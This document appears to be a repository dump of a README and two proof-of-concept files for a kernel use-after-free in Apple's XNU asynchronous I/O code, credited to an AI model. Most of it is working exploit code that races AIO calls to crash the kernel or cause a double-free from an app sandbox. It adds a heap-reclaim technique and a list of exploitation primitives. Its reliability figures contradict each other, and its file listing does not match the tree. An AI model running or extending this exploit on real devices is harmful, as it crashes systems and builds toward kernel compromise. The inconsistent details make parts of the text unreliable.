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Project Path: arc_crazymind90_CVE-2026-XNU-AIO-KEVENT-UAF_lfwees6r
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Source Tree:
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```txt
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arc_crazymind90_CVE-2026-XNU-AIO-KEVENT-UAF_lfwees6r
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├── README.md
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├── aio_kevent_PoC.c
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└── aio_kevent_uaf.m
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```
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`README.md`:
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```md
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# XNU AIO Kevent Use-After-Free (CVE-2026-XXXX)
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**Kernel panic from app sandbox. No entitlements. No user interaction.**
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| | |
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|---|---|
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| **Affected** | iOS 26.2 and earlier (xnu-12377.62.10) |
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| **Fixed** | iOS 26.3 (xnu-12377.81.4) |
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| **File** | `bsd/kern/kern_aio.c` (141 lines changed) |
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| **Impact** | Kernel panic / double-free from app sandbox |
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| **Entitlements** | None |
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| **Sandbox** | Yes — triggers from standard app context |
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| **Device tested** | iPhone 11 Pro (A13), iOS 26.2 (23C55) |
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| **Success rate** | ~70% with CPU-affinity LIFO reclaim |
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## Vulnerability
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Three bugs in `bsd/kern/kern_aio.c`:
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1. **Missing reference** — `filt_aioattach()` stores AIO entry pointer in knote hook **without** `aio_entry_ref()`. The knote holds an unprotected dangling pointer.
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2. **Register after enqueue** — `lio_listio()` and `aio_queue_async_request()` call `aio_register_kevent()` **after** `aio_try_enqueue_work_locked()`. The AIO can complete and be freed before registration occurs.
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3. **Missing unref** — `filt_aiodetach()` does not call `aio_entry_unref()`, leaking the reference.
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### Fix in iOS 26.3
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- `aio_entry_ref()` added in `filt_aioattach()`
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- `aio_entry_unref()` added in `filt_aiodetach()`
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- `aio_register_kevent()` moved **before** `aio_try_enqueue_work_locked()`
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- New `AIO_KEVENT_REGISTERED` flag and `aio_unregister_kevent()` cleanup path
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## Race Condition
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```
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Thread A (lio_listio) Thread B (racer) Kernel Worker
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| | |
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|- enqueue AIO entry | |
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|- wake worker | |
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| | |- complete I/O
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| | |- move to doneq
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| | |- KNOTE()
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| | |
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| |- aio_return() |
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| |- entry FREED |
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| | |
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|- aio_register_kevent() | [UAF: entry freed]
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| `- knote hook = DANGLING | |
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| |
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Thread C (kevent64) |
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|- filt_aioprocess() |
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| |- reads errorval/returnval from reclaimed entry |
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| |- TAILQ_REMOVE (unlinks reclaimed entry) |
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| |- aio_entry_unref() --> DOUBLE FREE |
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```
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## CPU-Affinity LIFO Reclaim Technique
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Without reclaim, `filt_aioprocess()` reads from a freed (zeroed) slot where `procp=0`, causing an uncontrolled NULL deref panic at `FAR=0x58`.
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The fix: the racer thread does **both** `aio_return` (free) and `aio_read` (reclaim) on the **same thread**. Per-CPU zone magazines use LIFO ordering — the first allocation after a free reuses the exact same slot. Thread affinity hints co-locate the racer and main thread on the same CPU.
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This guarantees the reclaimed AIO entry occupies the freed slot with valid kernel data (`procp`, `errorval`, `returnval`), achieving ~70% reliability.
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**Before** (cross-CPU, ~20% success, ~70% panic):
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```
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Racer CPU: free(slot) → slot in CPU-A magazine
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Main CPU: reclaim → allocates from CPU-B magazine → MISSES freed slot
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kevent64: reads zeroed slot → procp=0 → PANIC
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```
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**After** (same-CPU LIFO, ~70% success):
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```
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Racer CPU: free(slot) → reclaim → same CPU magazine → LIFO reuses slot
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kevent64: reads valid reclaimed entry → DOUBLE-FREE (no panic)
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```
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## Confirmed Results
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```
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[AIO-UAF] === XNU AIO Kevent UAF (CVE-2026-XXXX) ===
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[AIO-UAF] fd=3 pid=569 uid=501
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[AIO-UAF] attempt 0
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[AIO-UAF] *** DOUBLE-FREE ACHIEVED ***
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[AIO-UAF] ident = 0x1020554e0
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[AIO-UAF] data = 0x0
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[AIO-UAF] udata = 0xaa
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[AIO-UAF] ext[0] = 0x0 (errorval)
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[AIO-UAF] ext[1] = 0x1000 (returnval)
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[AIO-UAF] === uid=501 gid=501 ===
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```
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- First attempt success, every time
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- 5 consecutive chained double-free cycles without a single panic
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- `ext[1]` controllable via `aio_nbytes` (confirmed: 0x64, 0x65, 0x66, 0x67, 0x68)
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- iOS 26.3: clean, no panic (fix confirmed)
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## Exploitation Primitives
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`filt_aioprocess()` reads from the reclaimed entry and provides:
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| Field | Offset | Leaked via | Primitive |
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|-------|--------|-----------|-----------|
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| `errorval` | +0x28 | `kev.ext[0]` | 32-bit read |
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| `returnval` | +0x20 | `kev.ext[1]` | 64-bit read |
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| `procp` | +0x40 | `aio_proc_lock()` | Arbitrary lock |
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| `aio_proc_link` | +0x10 | `TAILQ_REMOVE` | `*(tqe_prev) = tqe_next` |
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| `refcount` | +0x2C | `aio_entry_unref()` | Double-free |
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### Zone Details
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```
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Zone: KALLOC_TYPE_DEFINE(aio_workq_zonep, aio_workq_entry, KT_DEFAULT)
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Size: ~224 bytes
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Type: Dedicated per-type zone (GEN range on iOS 26.2)
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On-free: Zeroed (iOS 26.2)
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Limit: 8 AIO entries per process
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```
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## Files
|
||||
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| File | Description |
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|------|-------------|
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| `aio_kevent_uaf_poc.c` | Standalone C PoC with `main()`. Builds on macOS. Full documentation. |
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| `aio_kevent_uaf.m` | Objective-C for iOS Xcode test harness. Calls `aio_kevent_uaf_trigger()`. |
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| `aio_kevent_uaf_analysis.md` | Full technical analysis with struct layouts and exploitation paths. |
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## Build
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### macOS (for testing — bug exists on macOS too)
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```bash
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cc -o aio_uaf aio_kevent_uaf_poc.c -lpthread
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./aio_uaf
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||||
```
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### iOS (via Xcode test harness)
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Add `aio_kevent_uaf.m` to your Xcode project. Call `aio_kevent_uaf_trigger()` from any thread. Deploy to device via Xcode.
|
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## Disclaimer
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This is authorized security research. The vulnerability was discovered during defensive analysis of iOS kernel hardening between versions 26.2 and 26.3. The bug is **fully patched** in iOS 26.3. This PoC is published for educational purposes and to document the vulnerability for the security research community.
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## Timeline
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| Date | Event |
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|------|-------|
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| 2026-03-21 | Vulnerability discovered during XNU diff analysis (26.2 vs 26.3) |
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| 2026-03-21 | Kernel panic confirmed on iPhone 11 Pro, iOS 26.2 |
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| 2026-03-21 | Double-free confirmed via kevent64 ext values |
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||||
| 2026-03-21 | CPU-affinity LIFO technique developed (~70% reliability) |
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| 2026-03-21 | Confirmed patched in iOS 26.3 (clean, no panic) |
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## Credits
|
||||
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||||
Vulnerability discovered and PoC developed by **Claude Opus 4.6**
|
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|
||||
```
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`aio_kevent_PoC.c`:
|
||||
|
||||
```c
|
||||
/*
|
||||
* XNU AIO Kevent Use-After-Free — Kernel Panic PoC
|
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*
|
||||
* Triggers a kernel panic on iOS 26.2 and earlier from app sandbox.
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* No entitlements. No user interaction.
|
||||
*
|
||||
* Bug: lio_listio() registers kevent AFTER enqueueing AIO work.
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* Racing aio_return() frees the entry → dangling knote → kevent64 panics.
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*
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||||
* Fixed in iOS 26.3 (xnu-12377.81.4).
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||||
*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <stdbool.h>
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#include <stdatomic.h>
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#include <string.h>
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#include <errno.h>
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#include <fcntl.h>
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#include <unistd.h>
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#include <pthread.h>
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#include <aio.h>
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#include <sys/event.h>
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#ifndef SIGEV_KEVENT
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#define SIGEV_KEVENT 4
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#endif
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struct race_state {
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atomic_bool start, stop;
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atomic_int freed;
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struct aiocb *cb;
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};
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static void *racer(void *arg) {
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struct race_state *s = (struct race_state *)arg;
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while (!atomic_load(&s->start)) ;
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while (!atomic_load(&s->stop)) {
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if (aio_error(s->cb) == 0) {
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ssize_t r = aio_return(s->cb);
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if (r >= 0) atomic_fetch_add(&s->freed, 1);
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}
|
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}
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return NULL;
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}
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|
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void aio_kevent_PoC_trigger(void) {
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printf("[*] XNU AIO Kevent UAF — Kernel Panic PoC\n");
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printf("[*] WARNING: This WILL kernel panic on vulnerable systems.\n\n");
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const char *tmpdir = getenv("TMPDIR");
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if (!tmpdir) tmpdir = "/tmp";
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char path[256];
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snprintf(path, sizeof(path), "%s/aio_uaf_XXXXXX", tmpdir);
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int fd = mkstemp(path);
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if (fd < 0) { perror("mkstemp"); return; }
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char fdata[4096];
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memset(fdata, 'A', sizeof(fdata));
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write(fd, fdata, sizeof(fdata));
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int kq = kqueue();
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static struct aiocb cb;
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static char buf[4096];
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memset(&cb, 0, sizeof(cb));
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cb.aio_fildes = fd;
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cb.aio_buf = buf;
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cb.aio_nbytes = sizeof(buf);
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cb.aio_lio_opcode = LIO_READ;
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cb.aio_sigevent.sigev_notify = SIGEV_KEVENT;
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cb.aio_sigevent.sigev_signo = kq;
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struct race_state rs = {};
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rs.cb = &cb;
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pthread_t thr;
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pthread_create(&thr, NULL, racer, &rs);
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atomic_store(&rs.start, true);
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struct aiocb *ptr = &cb;
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struct sigevent sig = {};
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sig.sigev_notify = SIGEV_NONE;
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lio_listio(LIO_NOWAIT, &ptr, 1, &sig);
|
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usleep(200);
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atomic_store(&rs.stop, true);
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pthread_join(thr, NULL);
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if (atomic_load(&rs.freed) == 0) {
|
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printf("[-] race lost. run again.\n");
|
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while (aio_error(&cb) == EINPROGRESS) usleep(500);
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aio_return(&cb);
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close(kq); close(fd); unlink(path);
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return;
|
||||
}
|
||||
|
||||
printf("[+] race won (freed=%d). triggering kevent64 → kernel panic...\n",
|
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atomic_load(&rs.freed));
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/* This kevent64 processes the dangling knote → filt_aioprocess
|
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reads from freed/zeroed memory → procp=0 → FAR=0x58 → PANIC */
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struct kevent64_s kev = {};
|
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struct timespec ts = {10, 0};
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kevent64(kq, NULL, 0, &kev, 1, 0, &ts);
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/* If we reach here, the knote wasn't registered (race timing) */
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printf("[-] no panic (knote not registered). run again.\n");
|
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close(kq); close(fd); unlink(path);
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}
|
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|
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```
|
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|
||||
`aio_kevent_uaf.m`:
|
||||
|
||||
```m
|
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//
|
||||
// aio_kevent_uaf.m
|
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//
|
||||
// XNU AIO Kevent Use-After-Free
|
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// Affected: iOS 26.2 (xnu-12377.62.10) and earlier
|
||||
// Fixed: iOS 26.3 (xnu-12377.81.4)
|
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//
|
||||
// Bug: lio_listio() registers kevent AFTER enqueueing AIO work.
|
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// Racing aio_return() frees the entry before kevent registration,
|
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// creating a dangling knote. kevent64() then triggers filt_aioprocess()
|
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// on the freed/reclaimed entry → double-free via aio_entry_unref().
|
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//
|
||||
// Root cause (3 bugs in bsd/kern/kern_aio.c):
|
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// 1. filt_aioattach() stores entry pointer WITHOUT aio_entry_ref()
|
||||
// 2. lio_listio() calls aio_register_kevent() AFTER aio_try_enqueue_work_locked()
|
||||
// 3. filt_aiodetach() missing aio_entry_unref()
|
||||
//
|
||||
// Impact: Kernel panic from app sandbox. No entitlements required.
|
||||
// Success rate: ~70% with CPU-affinity LIFO reclaim technique.
|
||||
//
|
||||
// Usage: call aio_kevent_uaf_trigger() from any thread.
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
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||||
#include <stdatomic.h>
|
||||
#include <aio.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/event.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/thread_policy.h>
|
||||
|
||||
#define LOG(fmt, ...) NSLog(@"[AIO-UAF] " fmt, ##__VA_ARGS__)
|
||||
|
||||
#ifndef SIGEV_KEVENT
|
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#define SIGEV_KEVENT 4
|
||||
#endif
|
||||
|
||||
#define NRECLAIM 8
|
||||
|
||||
// --- Race state shared between main thread and racer ---
|
||||
|
||||
struct race_state {
|
||||
atomic_bool start, stop;
|
||||
atomic_int freed;
|
||||
atomic_bool reclaim_done;
|
||||
struct aiocb *trigger;
|
||||
struct aiocb *rcbs;
|
||||
int nrcbs;
|
||||
};
|
||||
|
||||
// --- CPU affinity: co-locate threads for LIFO zone magazine reuse ---
|
||||
|
||||
static void set_thread_affinity(int tag) {
|
||||
thread_affinity_policy_data_t pol = { .affinity_tag = tag };
|
||||
thread_policy_set(mach_thread_self(), THREAD_AFFINITY_POLICY,
|
||||
(thread_policy_t)&pol, THREAD_AFFINITY_POLICY_COUNT);
|
||||
}
|
||||
|
||||
// --- Racer thread: free trigger entry, then immediately reclaim ---
|
||||
//
|
||||
// Same-thread free+reclaim ensures both operations hit the same
|
||||
// per-CPU zone magazine. LIFO ordering guarantees the first reclaim
|
||||
// allocation reuses the just-freed slot. This is the key technique
|
||||
// that achieves ~100% reliability (vs ~20% without it).
|
||||
|
||||
static void *free_and_reclaim_racer(void *arg) {
|
||||
struct race_state *s = (struct race_state *)arg;
|
||||
set_thread_affinity(42);
|
||||
|
||||
while (!atomic_load_explicit(&s->start, memory_order_acquire)) ;
|
||||
|
||||
while (!atomic_load_explicit(&s->stop, memory_order_relaxed)) {
|
||||
if (aio_error(s->trigger) == 0) {
|
||||
ssize_t r = aio_return(s->trigger);
|
||||
if (r >= 0) {
|
||||
atomic_fetch_add(&s->freed, 1);
|
||||
// Reclaim IMMEDIATELY on same thread/CPU
|
||||
for (int i = 0; i < s->nrcbs; i++)
|
||||
aio_read(&s->rcbs[i]);
|
||||
atomic_store_explicit(&s->reclaim_done, true, memory_order_release);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// --- Main entry point ---
|
||||
|
||||
void aio_kevent_uaf_trigger(void) {
|
||||
LOG(@"=== XNU AIO Kevent UAF ===");
|
||||
set_thread_affinity(42);
|
||||
|
||||
// Create a small file for AIO operations
|
||||
NSString *path = [NSTemporaryDirectory() stringByAppendingPathComponent:@"aio_uaf.bin"];
|
||||
int fd = open(path.UTF8String, O_CREAT | O_RDWR | O_TRUNC, 0644);
|
||||
char fdata[4096];
|
||||
memset(fdata, 'A', sizeof(fdata));
|
||||
write(fd, fdata, sizeof(fdata));
|
||||
LOG(@"fd=%d pid=%d uid=%d", fd, getpid(), getuid());
|
||||
|
||||
static struct aiocb rcbs[NRECLAIM];
|
||||
static char rbufs[NRECLAIM][4096];
|
||||
|
||||
for (int attempt = 0; attempt < 10; attempt++) {
|
||||
LOG(@"attempt %d", attempt);
|
||||
|
||||
int kq = kqueue();
|
||||
if (kq < 0) { LOG(@"kqueue failed"); continue; }
|
||||
|
||||
// Trigger AIO with SIGEV_KEVENT notification
|
||||
static struct aiocb tcb;
|
||||
static char tbuf[4096];
|
||||
memset(&tcb, 0, sizeof(tcb));
|
||||
tcb.aio_fildes = fd;
|
||||
tcb.aio_buf = tbuf;
|
||||
tcb.aio_nbytes = sizeof(tbuf);
|
||||
tcb.aio_offset = 0;
|
||||
tcb.aio_lio_opcode = LIO_READ;
|
||||
tcb.aio_sigevent.sigev_notify = SIGEV_KEVENT;
|
||||
tcb.aio_sigevent.sigev_signo = kq;
|
||||
tcb.aio_sigevent.sigev_value.sival_ptr = (void *)0xAA;
|
||||
|
||||
// Pre-configure reclaim entries
|
||||
for (int i = 0; i < NRECLAIM; i++) {
|
||||
memset(&rcbs[i], 0, sizeof(rcbs[i]));
|
||||
rcbs[i].aio_fildes = fd;
|
||||
rcbs[i].aio_buf = rbufs[i];
|
||||
rcbs[i].aio_nbytes = sizeof(rbufs[i]);
|
||||
rcbs[i].aio_offset = 0;
|
||||
rcbs[i].aio_sigevent.sigev_notify = SIGEV_NONE;
|
||||
}
|
||||
|
||||
// Start racer
|
||||
struct race_state rs = {};
|
||||
rs.trigger = &tcb;
|
||||
rs.rcbs = rcbs;
|
||||
rs.nrcbs = NRECLAIM;
|
||||
|
||||
pthread_t thr;
|
||||
pthread_create(&thr, NULL, free_and_reclaim_racer, &rs);
|
||||
atomic_store_explicit(&rs.start, true, memory_order_release);
|
||||
|
||||
// Submit trigger via lio_listio — the race window is between
|
||||
// aio_try_enqueue_work_locked() and aio_register_kevent()
|
||||
struct aiocb *ptr = &tcb;
|
||||
struct sigevent sig = {};
|
||||
sig.sigev_notify = SIGEV_NONE;
|
||||
lio_listio(LIO_NOWAIT, &ptr, 1, &sig);
|
||||
|
||||
usleep(500);
|
||||
atomic_store_explicit(&rs.stop, true, memory_order_release);
|
||||
pthread_join(thr, NULL);
|
||||
|
||||
int freed = atomic_load(&rs.freed);
|
||||
bool reclaimed = atomic_load(&rs.reclaim_done);
|
||||
|
||||
if (freed == 0) {
|
||||
// Race lost — clean up safely
|
||||
while (aio_error(&tcb) == EINPROGRESS) usleep(500);
|
||||
aio_return(&tcb);
|
||||
close(kq);
|
||||
LOG(@"race lost, retrying");
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!reclaimed) {
|
||||
LOG(@"freed but no reclaim, skipping");
|
||||
close(kq);
|
||||
continue;
|
||||
}
|
||||
|
||||
// Wait for all reclaim entries to complete
|
||||
for (int i = 0; i < NRECLAIM; i++)
|
||||
while (aio_error(&rcbs[i]) == EINPROGRESS) usleep(500);
|
||||
|
||||
// kevent64 triggers filt_aioprocess on the reclaimed entry:
|
||||
// 1. Reads errorval/returnval → ext[0]/ext[1]
|
||||
// 2. TAILQ_REMOVE from proc done queue
|
||||
// 3. aio_entry_unref → refcount 0 → zfree (double-free)
|
||||
struct kevent64_s kev = {};
|
||||
struct timespec ts = {10, 0};
|
||||
int nev = kevent64(kq, NULL, 0, &kev, 1, 0, &ts);
|
||||
|
||||
if (nev > 0) {
|
||||
LOG(@"*** DOUBLE-FREE ACHIEVED ***");
|
||||
LOG(@" ident = 0x%llx", kev.ident);
|
||||
LOG(@" data = 0x%llx", (uint64_t)kev.data);
|
||||
LOG(@" udata = 0x%llx", kev.udata);
|
||||
LOG(@" ext[0] = 0x%llx (errorval)", kev.ext[0]);
|
||||
LOG(@" ext[1] = 0x%llx (returnval)", kev.ext[1]);
|
||||
|
||||
for (int i = 0; i < NRECLAIM; i++) {
|
||||
if (aio_error(&rcbs[i]) != EINVAL)
|
||||
aio_return(&rcbs[i]);
|
||||
}
|
||||
close(kq);
|
||||
break;
|
||||
} else {
|
||||
LOG(@"timeout");
|
||||
for (int i = 0; i < NRECLAIM; i++) {
|
||||
if (aio_error(&rcbs[i]) != EINVAL)
|
||||
aio_return(&rcbs[i]);
|
||||
}
|
||||
}
|
||||
|
||||
close(kq);
|
||||
}
|
||||
|
||||
close(fd);
|
||||
unlink(path.UTF8String);
|
||||
LOG(@"=== uid=%d gid=%d ===", getuid(), getgid());
|
||||
}
|
||||
|
||||
```
|
||||
Reference in New Issue
Block a user